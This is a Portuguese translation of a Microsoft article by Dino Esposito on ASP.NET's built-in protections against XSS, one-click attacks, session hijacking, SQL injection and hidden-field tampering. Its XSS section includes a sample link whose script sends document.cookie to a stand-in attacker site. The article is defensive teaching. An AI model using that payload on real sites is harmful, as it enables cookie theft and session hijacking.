Compartilhar via


Tirar proveito dos recursos internos do ASP.NET para afastar os ataques na Web

 

Dino Esposito
Wintellect

Janeiro de 2005

Aplica-se a
   Microsoft ASP.NET 1. X
   Microsoft ASP.NET 2.0

Resumo: O Dino resume os tipos mais comuns de ataques da Web e descreve como os desenvolvedores da Web podem usar recursos internos do ASP.NET para aumentar a segurança. (13 páginas impressas)

Sumário

O que os desenvolvedores de ASP.NET sempre devem fazer de onde vêm as ameaças
Viewstateuserkey
Cookies e autenticação
Sequestro de sessão
Enableviewstatemac
Validaterequest
Perspectiva do banco de dados
Campos Ocultos
E-mails e spam
Resumo
Recursos relacionados

O que os desenvolvedores de ASP.NET sempre devem fazer

Se você estiver lendo este artigo, provavelmente não precisará ser ensinado sobre a importância crescente da segurança em aplicativos Web. Você provavelmente está procurando alguns conselhos práticos sobre como implementar a segurança em aplicativos ASP.NET. A má notícia é que nenhuma plataforma de desenvolvimento, incluindo ASP.NET, pode garantir que você escreverá um código seguro 100% depois de adotá-lo, quem diz isso, apenas mente. A boa notícia, no que diz respeito a ASP.NET, é que ASP.NET, especialmente a versão 1.1 e a versão 2.0, integra uma série de barreiras defensivas internas, prontas para uso.

A aplicação de todos esses recursos por si só não é suficiente para proteger um aplicativo Web contra todos os ataques possíveis e previsíveis. No entanto, combinados com outras técnicas defensivas e estratégias de segurança, os recursos ASP.NET internos formam um poderoso kit de ferramentas para ajudar a garantir que os aplicativos operem em um ambiente seguro.

A segurança da Web é a soma de vários fatores e o resultado de uma estratégia que vai muito além dos limites do aplicativo individual para envolver administração de banco de dados, configuração de rede e também engenharia social e phishing.

O objetivo deste artigo é ilustrar o que os desenvolvedores de ASP.NET sempre devem fazer para manter a barra de segurança razoavelmente alta. É disso que se trata a segurança, manter a guarda, nunca se sentir totalmente seguro e tornar cada vez mais difícil para os bandidos invadirem.

Vamos ver o que ASP.NET tem a oferecer para simplificar o trabalho.

De onde vêm as ameaças

Na Tabela 1, resumi os tipos mais comuns de ataques e falhas da Web no aplicativo que podem fazê-los ter êxito.

Ataque Possibilitada por . . .
XSS (cross-site scripting) Entrada de usuário não confiável ecoada na página
injeção SQL Concatenação da entrada do usuário para formar comandos SQL
Sequestro de sessão Adivinhação de ID de sessão e cookies de ID de sessão roubados
Um clique Postagens HTTP sem reconhecimento enviadas por meio de script
Violação de campo oculto Campo oculto desmarcado (e confiável) recheado com dados confidenciais

Tabela 1. Ataques comuns na Web

Quais são os principais fatos que emergem da lista? Pelo menos os três seguintes, eu diria:

  • Sempre que você insere qualquer tipo de entrada de usuário na marcação do navegador, você potencialmente se expõe a um ataque de injeção de código (quaisquer variações de injeção de SQL e XSS).
  • O acesso ao banco de dados deve ser realizado com segurança, ou seja, usando o menor conjunto de permissões possível para contas e delimitando a responsabilidade do usuário individual por meio de funções.
  • Os dados confidenciais nunca devem ser enviados pela transmissão (muito menos como texto não criptografado) e devem ser armazenados com segurança no servidor.

É interessante observar que os três pontos acima abordam três aspectos distintos da segurança da Web, cujo combinado é a única maneira razoável de criar um aplicativo à prova de marcadores e resistente a adulterações. As facetas de segurança da Web podem ser resumidas da seguinte maneira:

  • Práticas de codificação: validação de dados, verificação de comprimento de tipo e buffer, medidas anti-adulteração
  • Estratégias de acesso a dados: use funções para garantir a conta mais fraca possível, use procedimentos armazenados ou pelo menos comandos parametrizados
  • Armazenamento e administração eficazes: não envie dados críticos para o cliente, use códigos de hash para detectar manipulação, autenticar usuários e proteger identidades, aplicar políticas rigorosas para senhas

Como você pode ver, um aplicativo seguro pode resultar apenas dos esforços combinados de desenvolvedores, arquitetos e administradores. Não suponha que você possa acertar de outra forma.

Ao escrever ASP.NET aplicativos, você não é deixado por conta própria para lutar contra o exército de hackers, armado apenas com seus cérebros, habilidades e dedos para digitar linhas de código. ASP.NET 1.1 e posterior ajuda com alguns recursos específicos que geram barreiras automáticas contra algumas das ameaças listadas acima. Vamos revisá-los em detalhes.

Viewstateuserkey

Introduzido com ASP.NET 1.1, ViewStateUserKey é uma propriedade de cadeia de caracteres na classe Page com a qual apenas poucos desenvolvedores admitem estar familiarizados. Por quê? Vamos ler o que a documentação tem a dizer sobre isso.

Atribui um identificador a um usuário individual na variável de estado de exibição associada à página atual

Apesar do estilo complicado, a frase é bastante clara; mas você pode dizer honestamente que explica o propósito pretendido da propriedade? Para entender a função de ViewStateUserKey, você precisa ler um pouco mais, até chegar à seção Comentários .

A propriedade ajuda você a evitar ataques com um clique fornecendo entrada adicional para criar o valor de hash que defende o estado de exibição contra adulteração. Em outras palavras, ViewStateUserKey torna muito mais difícil para os hackers usarem o conteúdo do estado de exibição do lado do cliente para preparar postagens mal-intencionadas contra o site. A propriedade pode ser atribuída a qualquer cadeia de caracteres não vazia, preferencialmente a ID da sessão ou a ID do usuário. Para entender melhor a importância dessa propriedade, vamos examinar brevemente os conceitos básicos do ataque de um clique .

Um ataque de um clique consiste em postar um formulário HTTP mal-intencionado em um site conhecido e vulnerável. Ele é chamado de "com um clique" porque geralmente começa com uma vítima inconsciente clicando em um link sedutor recebido por email ou encontrado ao navegar em um fórum lotado. Seguindo o link, o usuário dispara inadvertidamente um processo remoto que acaba enviando o formulário> mal-intencionado <para um site. Seja honesto: você pode dizer que nunca seguiu um link como Clique aqui para ganhar $1.000.000 só para ver o que acontece? Aparentemente, nada de ruim aconteceu com você. Vamos supor que isso esteja correto; você pode dizer o mesmo para todo o resto da comunidade Web? Quem sabe.

Para ter êxito, um ataque de um clique requer determinadas condições em segundo plano:

  • O invasor deve saber muito sobre o site vulnerável. Isso pode acontecer porque o invasor "diligentemente" estudou o arquivo ou porque é um interno irritado (por exemplo, um funcionário demitido e desonesto). Por essa razão, o ataque pode ser potencialmente devastador.
  • O site deve estar usando cookies (melhor se cookies persistentes) para implementar o logon único, e o invasor deve ter recebido um cookie de autenticação válido.
  • Determinados usuários do site estão envolvidos em transações confidenciais.
  • O invasor deve ter acesso à página de destino.

Conforme mencionado, o ataque consiste em enviar um formulário HTTP mal-intencionado para uma página que espera um formulário. Razoavelmente, esta página consumirá dados postados para executar alguma operação confidencial. Razoavelmente, o atacante sabe exatamente como cada campo será usado e pode encontrar alguns valores falsificados para atingir seu objetivo. Geralmente, é um ataque direcionado, e também é difícil rastrear por causa do comércio triangular que ele estabelece — o hacker induz uma vítima a clicar em um link no site do hacker, que, por sua vez, postará o código incorreto em um terceiro site. (Consulte a Figura 1.)

ms972969.securitybarriers01(en-us,MSDN.10).gif

Figura 1. O ataque com um clique

Por que uma vítima desavisado? Porque, dessa forma, os logs do servidor mostram que o endereço IP de origem da solicitação incorreta é o endereço IP da vítima! Conforme mencionado, esse ataque não é tão comum (e fácil de organizar) como um XSS "clássico"; no entanto, sua natureza o torna potencialmente devastador. Qual é a cura para isso? Vamos examinar a mecânica do ataque no contexto ASP.NET.

A menos que a ação seja codificada no evento Page_Load , não há como uma página ASP.NET executar código confidencial fora de um evento de postback. Para que um evento de postback ocorra, o campo de estado de exibição é obrigatório. Tenha em mente que ASP.NET verifica o estado de postback de uma solicitação e define IsPostBack adequadamente, com base na presença do campo de entrada _VIEWSTATE. Portanto, quem quiser enviar uma solicitação falsa para uma página ASP.NET deve necessariamente fornecer um campo de estado de exibição válido.

Para que o ataque de um clique funcione, o hacker deve ter tido acesso à página. Quando isso aconteceu, o hacker de visão distante salvou a página localmente. Portanto, agora ele pode acessar o campo _VIEWSTATE e usá-lo para criar uma solicitação com o estado de exibição antigo e valores mal-intencionados em outros campos. A questão é, isso vai funcionar?

Por que não? Se o invasor puder fornecer um cookie de autenticação válido, o hacker entrará e a solicitação será processada regularmente. O conteúdo do estado de exibição não é verificado no servidor (quando EnableViewStataMac está desativado) ou é verificado apenas contra adulteração. Por padrão, não há nada no estado de exibição que vincule esse conteúdo a um usuário específico. O invasor pode reutilizar facilmente o estado de exibição obtido fazendo acesso legal à página para criar uma solicitação falsa em nome de outro usuário. É aí que ViewStateUserKey se encaixa.

Se escolhida com precisão, a propriedade adiciona informações específicas do usuário ao estado de exibição. Quando a solicitação é processada, ASP.NET extrai a chave do estado de exibição e a compara com ViewStateUserKey da página em execução. Se os dois corresponderem, a solicitação será considerada legítima; caso contrário, uma exceção é gerada. Qual é um valor válido para a propriedade?

Definir ViewStateUserKey como uma cadeia de caracteres constante, a mesma para todos os usuários, é como deixá-la em branco. Você deve defini-lo como algo que varia para cada usuário— ID de usuário ou, melhor ainda, ID da sessão. Por diversos motivos técnicos e sociais, ID de sessão é uma opção bem melhor, pois é imprevisível, atinge um tempo limite e varia de acordo com o usuário.

Aqui está o código necessário em todas as suas páginas:

void Page_Init (object sender, EventArgs e) {
   ViewStateUserKey = Session.SessionID;
   :
}

Para evitar gravar isso repetidamente, você pode aparafusá-lo no método virtual OnInit da classe derivada de página. (Observe que você deve definir essa propriedade no evento Page.Init .)

protected override OnInit(EventArgs e) {
   base.OnInit(e); 
   ViewStateUserKey = Session.SessionID;
}

No geral, usar uma classe de página base é sempre uma coisa boa, como eu explico no meu artigo, Build Your ASP.NET Pages on a Richer Bedrock. Um excelente artigo para saber mais sobre as táticas de invasores de um clique pode ser encontrado em aspnetpro.com.

Cookies e Autenticação

Os cookies existem porque podem ajudar os desenvolvedores a obter resultados. Os cookies operam como uma espécie de vínculo persistente entre o navegador e o servidor. Especialmente para aplicativos que usam logon único, um cookie roubado é exatamente o que torna o ataque possível. Esse é certamente o caso de ataques com um clique.

Para usar cookies, você não precisa criá-los e lê-los explicitamente programaticamente. Você usará implicitamente cookies se usar o estado da sessão e implementar a autenticação de formulários. Claro, ASP.NET dá suporte ao estado de sessão sem cookie e o ASP.NET 2.0 também introduz a autenticação de formulários sem cookie. Portanto, você poderia, em teoria, usar essas funcionalidades sem usar cookies. Não estou dizendo que você não precisa, mas este é apenas um dos casos em que o remédio pode ser ainda pior do que a doença. Sessões sem cookie, na verdade, inserem a ID da sessão na URL tornando-a visível para todos.

Quais são os possíveis problemas conectados ao uso de cookies? Os cookies podem ser roubados (ou seja, copiados para a máquina do hacker) e envenenados (ou seja, preenchidos com dados mal-intencionados). Essas ações geralmente são o prelúdio para um ataque de entrada. Se forem roubados, os cookies de autenticação "autorizam" os usuários externos a se conectarem ao aplicativo (e usarem páginas protegidas) em nome de você, potencialmente permitindo que os hackers ignorem a autorização e façam qualquer função e configurações de segurança que permitam que a vítima faça. Por esse motivo, os cookies de autenticação normalmente recebem um tempo de vida relativamente curto— 30 minutos. (Observe que o cookie expira mesmo que a sessão do navegador demorou mais para ser concluída.) Em caso de roubo, os hackers têm uma janela de 30 minutos para tentar o ataque.

Essa janela pode ser ampliada para salvar os usuários de terem que fazer logon com muita frequência; esteja ciente de que você faz isso por sua conta e risco. De qualquer forma, evite usar ASP.NET cookies persistentes. Isso tornaria a vida útil do cookie virtualmente perene, desde 50 anos! O snippet de código a seguir mostra como modificar a expiração do cookie no lazer.

void OnLogin(object sender, EventArgs e) {
   // Check credentials
   if (ValidateUser(user, pswd)) {
      // Set the cookie's expiration date
      HttpCookie cookie;
      cookie = FormsAuthentication.GetAuthCookie(user, isPersistent);
      if (isPersistent) 
         cookie.Expires = DateTime.Now.AddDays(10);

      // Add the cookie to the response
      Response.Cookies.Add(cookie);

      // Redirect
      string targetUrl;
      targetUrl = FormsAuthentication.GetRedirectUrl(user, isPersistent);
   Response.Redirect(targetUrl);
   }
}

Talvez você queira usar esse código em seus próprios formulários de logon para ajustar o tempo de vida dos cookies de autenticação.

Sequestro de sessão

Os cookies também são usados para recuperar o estado da sessão para um usuário específico. A ID da sessão é armazenada em um cookie que viaja para frente e para trás com a solicitação e é armazenada no computador do navegador. Novamente, se o cookie de sessão roubado puder ser usado para colocar um hacker no sistema e acessar o estado de sessão de outra pessoa. Desnecessário dizer que isso pode acontecer desde que a sessão especificada esteja ativa, geralmente, não mais do que 20 minutos. Um ataque realizado por meio de um estado de sessão falsificado é conhecido como sequestro de sessão. Para obter mais detalhes sobre o sequestro de sessão, leia Roubo na Web: impedir sequestro de sessão.

Quão perigoso pode ser esse ataque? É difícil dizer. Depende do que o site faz e, mais importante, de como suas páginas são projetadas. Por exemplo, imagine que você conseguiu obter o cookie de sessão de outra pessoa e anexá-lo a uma solicitação a uma página no site. Você carrega a página e trabalha por meio de sua interface do usuário comum. Não há nenhum código que você possa injetar na página e nada na página que você possa alterar, exceto que a página agora funciona usando o estado da sessão de outro usuário. Isso não é ruim por si só, mas pode levar os hackers diretamente a uma exploração bem-sucedida, desde que as informações na sessão sejam confidenciais e críticas. Olha, o hacker não pode bisbilhotar o conteúdo do repositório de sessões, mas o que está armazenado nele é usado como se o hacker o inserisse legitimamente. Por exemplo, imagine um aplicativo de comércio eletrônico em que os usuários adicionam itens a um carrinho de compras enquanto navegam pelo site.

  • Cenário nº 1. O conteúdo do carrinho de compras é armazenado no estado da sessão. No entanto, após marcar, o usuário é solicitado a confirmar e inserir detalhes de pagamento em uma conexão SSL segura. Nesse caso, conectar-se ao estado de sessão de outro usuário só permite que o hacker aprenda alguns detalhes sobre as preferências de compra da vítima. Nenhum tipo de dano realmente resulta do sequestro neste contexto. Somente a confidencialidade está em risco.
  • Cenário nº 2. O aplicativo manipula um perfil para cada usuário registrado e armazena o perfil no estado da sessão. Infelizmente, o perfil (como pode ser o caso) inclui informações de cartão de crédito. Por que armazenar detalhes do perfil do usuário na sessão? Talvez um dos objetivos do aplicativo seja, em última análise, salvar os usuários de digitar seus cartão de crédito e informações bancárias repetidamente. Portanto, após o check-out, o aplicativo navega o usuário para uma página com campos pré-preenchidos. Improvidently, um desses campos é o crédito cartão número obtido do estado da sessão. Agora você pode adivinhar o fim da história?

O design da página do aplicativo é fundamental para evitar ataques de sequestro de sessão. No entanto, dois pontos permanecem abertos. A primeira é, o que você pode fazer para evitar o roubo de cookie? A segunda é, o que ASP.NET pode fazer para detectar e bloquear o sequestro?

O cookie de sessão ASP.NET é extremamente simples e é limitado a conter a única cadeia de caracteres de ID da sessão. O runtime ASP.NET extrai a ID da sessão do cookie e a verifica nas sessões ativas. Se a ID for válida, ASP.NET se conectará à sessão correspondente e continuará. Esse comportamento simplifica muito a vida de hackers que roubaram ou podem adivinhar uma ID de sessão válida.

Os ataques XSS e man-in-the-middle, bem como o acesso bruto a um computador cliente, são todas as maneiras de obter um cookie válido. Para evitar roubos, você deve implementar práticas recomendadas de segurança para impedir que o XSS e todas as suas variações sejam bem-sucedidos.

Para evitar a adivinhação da ID da sessão, você deve simplesmente evitar a superestimação de suas habilidades. Adivinhar uma ID de sessão significa que você sabe uma maneira de prever uma cadeia de caracteres de ID de sessão válida. Dado o algoritmo usado por ASP.NET (15 números aleatórios mapeados para caracteres habilitados para URL), sua chance de adivinhar uma ID válida por acaso se aproxima de zero. Não há nenhuma razão para substituir o gerador de ID de sessão padrão pelo seu próprio. Em muitos casos, você só facilita a vida dos invasores.

O que é pior no sequestro de sessão é que uma vez que um cookie foi roubado ou adivinhado não há muito ASP.NET pode fazer para detectar o uso fraudulento do cookie. Novamente, o motivo é que ASP.NET se limita a verificar a validade da ID e questiona o local de origem do cookie.

Meu amigo wintellect Jeff Prosise escreveu um excelente artigo sobre sequestro de sessão para a Revista MSDN. Suas conclusões oferecem pouco conforto, é praticamente impossível criar uma defesa à prova de falhas contra ataques que dependem de cookies de ID de sessão roubados, mas o código que ele desenvolveu oferece uma dica inteligente para aumentar ainda mais a barra de segurança. Jeff criou um módulo HTTP que monitora solicitações de entrada e respostas de saída para cookies de ID de sessão. O módulo acrescenta um código hash a IDs de sessão de saída que dificultariam a reutilização desse cookie pelo invasor. Você pode ler os detalhes aqui.

Enableviewstatemac

O estado de exibição é usado para persistir o estado dos controles em duas solicitações sucessivas para a mesma página. Por padrão, o estado de exibição é codificado em Base64 e assinado com um valor de hash para evitar adulteração. A menos que você altere as configurações de página padrão, o estado de exibição não corre o risco de adulteração. Se um invasor modificar o estado de exibição ou mesmo se recompilar o estado de exibição usando o algoritmo certo, ASP.NET capturará a tentativa e gerará uma exceção. Um estado de exibição adulterado não é necessariamente prejudicial— modifica o estado dos controles do servidor, mas pode se tornar o veículo de infecções graves. Por esse motivo, é de extrema importância que você não remova a verificação cruzada do MAC (código de autenticação do computador) que ocorre por padrão. Consulte a Figura 2.

ms972969.securitybarriers02(en-us,MSDN.10).gif

Figura 2. O que torna o estado de exibição inerentemente resistente a adulterações quando EnableViewStateMac está habilitado

Quando a verificação mac está habilitada (que é o padrão), o estado da exibição serializada é acrescentado a um valor de hash que resulta de alguns valores do lado do servidor e da chave de usuário do estado de exibição, se houver. Quando o estado de exibição é postado novamente, o valor de hash é calculado novamente usando novos valores do lado do servidor e comparado ao valor armazenado. Se os dois corresponderem, a solicitação será permitida; caso contrário, uma exceção será gerada. Mesmo supondo que o hacker tenha as habilidades para quebrar e recompilar o estado de exibição, ele precisa saber os valores armazenados no servidor para criar um hash válido. Especificamente, o hacker precisa saber a chave do computador referenciada na < entrada machineKey> do machine.config.

Por padrão, a <entrada machineKey> é gerada automaticamente e armazenada fisicamente na LSA ( Autoridade de Segurança Local ) do Windows. Somente no caso de web farms ( quando as chaves de computador do estado de exibição devem ser iguais em todos os computadores ) você deve especificá-lo como texto não criptografado no arquivo machine.config.

A verificação mac de estado de exibição é controlada por meio de um atributo de diretiva @Page chamado EnableViewStateMac. Conforme mencionado, ele é definido como true por padrão. Nunca a desabilite; isso tornaria possível a violação de estado de exibição de ataques de um clique e com grandes chances de sucesso.

Validaterequest

O XSS (cross-site scripting) é um conhecido antigo para muitos desenvolvedores da Web experientes— ele existe desde 1999 ou mais. Simplificando, o XSS explora buracos no código para introduzir o código executável de um hacker na sessão do navegador de outro usuário. Executado, o código injetado pode executar uma variedade de ações: pegar cookies e carregar uma cópia no site controlado por um hacker, monitorar a sessão da Web do usuário e encaminhar dados, modificar o comportamento e a aparência da página hackeada fornecendo informações incorretas, até mesmo tornar-se persistente, para que na próxima vez que o usuário retornar à página, o código fraudulento é executado novamente. Leia mais detalhadamente sobre os conceitos básicos de um ataque XSS no artigo visão geral de scripts entre sites do TechNet.

Quais brechas no código possibilitam ataques XSS?

O XSS explora aplicativos Web que geram dinamicamente páginas HTML e não validam a entrada ecoada para a página. A entrada aqui significa o conteúdo de cadeias de caracteres de consulta, cookies e campos de formulário. Se esse conteúdo ficar online sem verificações de integridade adequadas, há o risco de que os hackers possam manipulá-lo para executar scripts mal-intencionados em navegadores de cliente. (Afinal, o ataque de um clique mencionado acima é uma variação recente do XSS.) Um ataque XSS típico implica que o usuário desavisado segue um link de luring que insira o código de script de escape. O código fraudulento é enviado para uma página vulnerável que o gera com confiança. Aqui está um exemplo do que pode acontecer:

<a href="http://www.vulnerableserver.com/brokenpage.aspx?Name=
<script>document.location.replace(
'http://www.hackersite.com/HackerPage.aspx?
Cookie=' + document.cookie);
</script>">Click to claim your prize</a>

O usuário clica em um link aparentemente seguro e acaba passando para uma página vulnerável uma parte do código de script que primeiro obtém todos os cookies no computador do usuário e, em seguida, os envia para uma página no site do hacker.

É importante observar que o XSS não é um problema específico do fornecedor e não necessariamente explora buracos no Explorer da Internet. Ele afeta todos os servidores Web e navegadores atualmente no mercado. Ainda mais importante, observe que não há um único patch para corrigi-lo. Você certamente pode proteger suas páginas contra XSS, você faz isso aplicando medidas específicas e práticas de codificação sãs. Além disso, lembre-se de que o invasor não precisa que o usuário clique em um link para iniciar o ataque.

Para se defender contra XSS, você deve determinar principalmente qual entrada é válida e rejeitar todo o restante. Uma lista de verificação detalhada para frustração de ataques XSS pode ser encontrada no livro que é uma leitura necessária na Microsoft– Escrevendo código seguro por Michael Howard e David LeBlanc. Em particular, sugiro que dê uma olhada cuidadosa no Capítulo 13.

A principal maneira de impedir ataques XSS insidiosos é adicionar uma camada de validação bem feita e sólida à sua entrada, qualquer tipo de dados de entrada. Por exemplo, há circunstâncias em que até mesmo uma cor inócua — um trigêmeo RGB — pode trazer um script não controlado diretamente para a página.

No ASP.NET 1.1, quando ativado, o atributo ValidateRequest na diretiva @Page verifica se os usuários não estão enviando marcação HTML potencialmente perigosa em cadeias de caracteres de consulta, cookies ou campos de formulário. Se isso for detectado, uma exceção será gerada e a solicitação será anulada. O atributo está ativado por padrão; você não precisa fazer nada para ser protegido. Se você quiser permitir que a marcação HTML passe, deverá desabilitá-la ativamente.

<%@ Page ValidateRequest="false" %>

ValidateRequestnão é o marcador de prata e não pode substituir uma camada de validação efetiva. Leia aqui para obter muitas informações valiosas sobre como o recurso realmente funciona nos bastidores. Basicamente, ele aplica uma expressão regular para capturar algumas sequências potencialmente prejudiciais.

Nota O recurso ValidateRequest era originalmente falho; você precisa aplicar um patch para que ele funcione conforme o esperado. Essas são informações valiosas que muitas vezes passaram despercebidas. Estranhamente, eu mesmo encontrei uma das minhas máquinas ainda afetadas pela falha. Confira!

Não há motivo para não manter ValidateRequest ativada. Você pode desabilitá-lo, mas você deve ter uma razão muito boa; um dos quais pode ser o requisito do usuário de poder postar algum HTML no site para obter melhores opções de formatação. Nesse caso, você deve limitar o número de marcas HTML permitidas (<pre>, b>,<<i>, <p>, <br>, <hr>) e escrever uma expressão regular que garanta que nada mais seja permitido ou aceito.

Aqui estão mais algumas dicas que ajudam a proteger ASP.NET aplicativos do XSS:

  • Use HttpUtility.HtmlEncode para converter símbolos perigosos em sua representação HTML.
  • Use aspas duplas em vez de aspas simples, pois a codificação HTML só escapa de aspas duplas.
  • Forçar uma página de código a limitar o número de caracteres que podem ser usados.

Em resumo, use, mas não confie totalmente, o atributo ValidateRequest e não seja muito lento. Gaste algum tempo para entender as ameaças à segurança, como o XSS, em suas raízes e planejar uma estratégia defensiva centrada em um ponto-chave— considere toda a entrada do usuário mal.

Perspectiva do banco de dados

A injeção de SQL é outro tipo conhecido de ataque que explora aplicativos que usam entrada de usuário não filtrada para formar comandos de banco de dados. Se o aplicativo usa com prazer o que o usuário digita em um campo de formulário para criar uma cadeia de caracteres de comando SQL, ele expõe você ao risco de que um usuário mal-intencionado possa simplesmente acessar a página e inserir parâmetros fraudulentos para modificar a natureza da consulta. Saiba mais sobre a injeção de SQL aqui.

Há muitas maneiras pelas quais você pode impedir um ataque de injeção de SQL. Aqui estão as técnicas mais comuns.

  • Verifique se qualquer entrada do usuário é do tipo adequado e segue o padrão esperado (cep, SSN, endereço de email). Se você espera um número de uma caixa de texto, bloqueie a solicitação se o usuário inserir algo que não possa ser convertido em um número.
  • Use consultas parametrizadas ou, melhor ainda, procedimentos armazenados.
  • Use SQL Server permissões para limitar as coisas que cada usuário pode fazer no banco de dados. Por exemplo, talvez você queira desabilitar xp_cmdshell ou limitá-la aos administradores.

Se você usar o procedimento armazenado, reduza significativamente a superfície de ataque. Com procedimentos armazenados, na verdade, você não precisa compor cadeias de caracteres SQL dinamicamente. Além disso, todos os parâmetros são validados em SQL Server em relação aos tipos especificados. Embora isso por si só não seja uma técnica 100% segura, combinada com a validação, ela tornará você mais seguro.

É ainda mais importante garantir que apenas usuários autorizados executem operações potencialmente devastadoras, como descartar tabelas. Isso requer um design cuidadoso da camada intermediária do aplicativo. Uma boa técnica, e não apenas por causa da segurança, é focar em funções. Você agrupa usuários em funções e define uma conta para cada função com o menor conjunto de permissões.

Há algumas semanas, o site do Wintellect estava sob ataque por meio de uma forma sofisticada de injeção de SQL. O hacker tentou criar e iniciar um script FTP para baixar um executável (mal-intencionado?). Foi nossa boa sorte que o ataque falhou. Ou foi uma validação de entrada bastante forte, uso de procedimentos armazenados e uso de permissões de SQL Server que impediram que o ataque funcionasse?

Para resumir, siga estas diretrizes para evitar injeções indesejadas de código SQL:

  • Execute com privilégios mínimos e nunca execute o código como "sa".
  • Restringir o acesso a procedimentos armazenados internos.
  • Favorecimento a consultas parametrizadas do SQL.
  • Não crie instruções por meio de concatenação de cadeia de caracteres e não ecoe erros de banco de dados.

Campos Ocultos

No ASP clássico, os campos ocultos são a única maneira de persistir dados entre solicitações. Todos os dados que você precisa recuperar na próxima solicitação são empacotados em um campo de entrada> oculto< e arredondados. E se no cliente alguém modificar os valores armazenados no campo? O ambiente do lado do servidor não tem como descobrir isso desde que o texto esteja claro. A propriedade ASP.NET ViewState para páginas e controles individuais serve a duas finalidades. Por um lado, o ViewState é o meio de persistir o estado entre solicitações; por outro lado, o ViewState permite armazenar valores personalizados em um campo oculto protegido e resistente a adulterações.

Conforme mostrado na Figura 2, o estado de exibição é acrescentado a um valor de hash que é verificado em cada solicitação para detectar adulteração. Não há nenhum motivo para usar campos ocultos em ASP.NET exceto em alguns casos. O estado de exibição faz o mesmo de uma maneira muito mais segura. Dito antecipadamente que armazenar valores confidenciais, como preços ou crédito cartão detalhes em um campo oculto claro é como deixar a porta aberta para hackers, o estado de exibição tornaria essa prática ruim menos perigosa do que antes por causa de seu mecanismo de proteção de dados. No entanto, tenha em mente que o estado de exibição impede a violação, mas não garante a confidencialidade, a menos que você a criptografe, portanto, os detalhes de cartão de crédito armazenados no estado de exibição estão em risco.

Quando é aceitável usar campos ocultos no ASP.NET? Quando você está criando controles personalizados que precisam enviar dados de volta para o servidor. Por exemplo, imagine que você crie um novo controle DataGrid que dê suporte à reordenação de coluna. Você precisa passar a nova ordem de volta para o servidor em postbacks. Onde mais você pode armazenar essas informações, se não em um campo oculto?

Se o campo oculto for um campo de leitura/gravação, ou seja, espera-se que o cliente escreva nele, não há muito que você possa fazer que seja à prova de hackers. Você pode tentar fazer hash ou codificar o texto, mas isso não lhe daria nenhuma certeza razoável de não ser hackeado. A melhor defesa aqui é fazer com que o campo oculto contenha informações inerte e inofensivas.

Dito isso, vale a pena observar que ASP.NET expõe uma classe pouco conhecida que pode ser usada para codificar e hash de qualquer objeto serializado. A classe é LosFormatter e é a mesma classe usada pela implementação ViewState para criar o texto codificado arredondado para o cliente.

private string EncodeText(string text) {
  StringWriter writer = new StringWriter();
  LosFormatter formatter = new LosFormatter();
  formatter.Serialize(writer, text);
  return writer.ToString();
}

O snippet de código anterior mostra como usar o LosFormatter para criar conteúdo semelhante ao estado de exibição, codificado e com hash.

E-mails e spam

Para encerrar este artigo, deixe-me salientar que pelo menos dois dos ataques mais comuns, XSS clássicos e com um clique, geralmente são conduzidos induzindo vítimas desavisadas a clicar em links sedutores e falsificados. Muitas vezes encontramos esses links diretamente em nossa caixa de entrada, filtros antispam, não obstante. Volumes de endereços de email podem ser comprados por alguns dólares. Uma das técnicas de main usadas para criar essas listas é examinar páginas públicas em sites que procuram e agarram qualquer coisa que se pareça com um endereço de email.

Se uma página exibir um endereço de email, as chances são boas de que, mais cedo ou mais tarde, ela seja capturada por robôs Web. É mesmo? Bem, depende muito de como você exibe o endereço de email. Se você codificá-lo, você está perdido. Se você recorrer a representações alternativas como dino-at-microsoft-dot-com, não está claro se você realmente engana um robô Web; Com certeza, você vai irritar qualquer humano lendo sua página que queira estabelecer um contato legítimo.

No geral, você deve descobrir uma maneira de gerar dinamicamente o endereço de email como um link mailto . Isso é exatamente o que um componente gratuito escrito por Marco Bellinaso faz. Você pode obtê-lo com o código-fonte completo do site DotNet2TheMax .

Resumo

Alguém duvida que a Web seja provavelmente a mais hostil de todos os ambientes de runtime? Ele vem do fato de que todos podem acessar um site e tentar passá-lo dados bons e ruins. No entanto, realmente faria sentido criar um aplicativo Web que não aceita a entrada do usuário?

Portanto, vamos encarar: não importa o quão forte seja o firewall e a frequência com que você aplica patches disponíveis, se você estiver executando um aplicativo Web inerentemente vulnerável, mais cedo ou mais tarde os invasores caminharão diretamente para o coração de seus sistemas pela entrada do main, ou seja, a porta 80.

ASP.NET aplicativos não são mais vulneráveis nem mais seguros do que outros aplicativos Web. A segurança e a vulnerabilidade derivam de práticas de codificação, experiência do campo e trabalho em equipe. Nenhum aplicativo será seguro se a rede não estiver; da mesma forma, não importa o quão segura e bem administrada a rede seja, os invasores sempre encontrarão seu caminho se o aplicativo estiver quebrado.

A beleza de ASP.NET é que ele fornece algumas boas ferramentas para elevar a barra de segurança a um nível passável com alguns cliques. No entanto, não é um nível suficiente. Não confie apenas em ASP.NET soluções internas, mas também não deve ignorá-las. E saiba o máximo possível sobre os ataques mais comuns.

Este artigo fornece uma lista anotada de recursos internos e alguns planos de fundo sobre ataques e defesas. Técnicas para detectar ataques contínuos são outra história e talvez exijam outro artigo.

Escrevendo código seguro por Michael Howard e David LeBlanc

Revista TechNet, roubo na Web: impedir sequestro de sessão

 

Sobre o autor

Dino Esposito é um instrutor e consultor wintellect com sede na Itália. Autor de Programação microsoft ASP.NET e o mais recente Apresentando o Microsoft ASP.NET 2.0 (ambos da Microsoft Press), ele passa a maior parte do tempo ensinando aulas em ASP.NET e ADO.NET e falando em conferências. Blog do Tour Dino em https://weblogs.asp.net/despos.

© Microsoft Corporation. Todos os direitos reservados.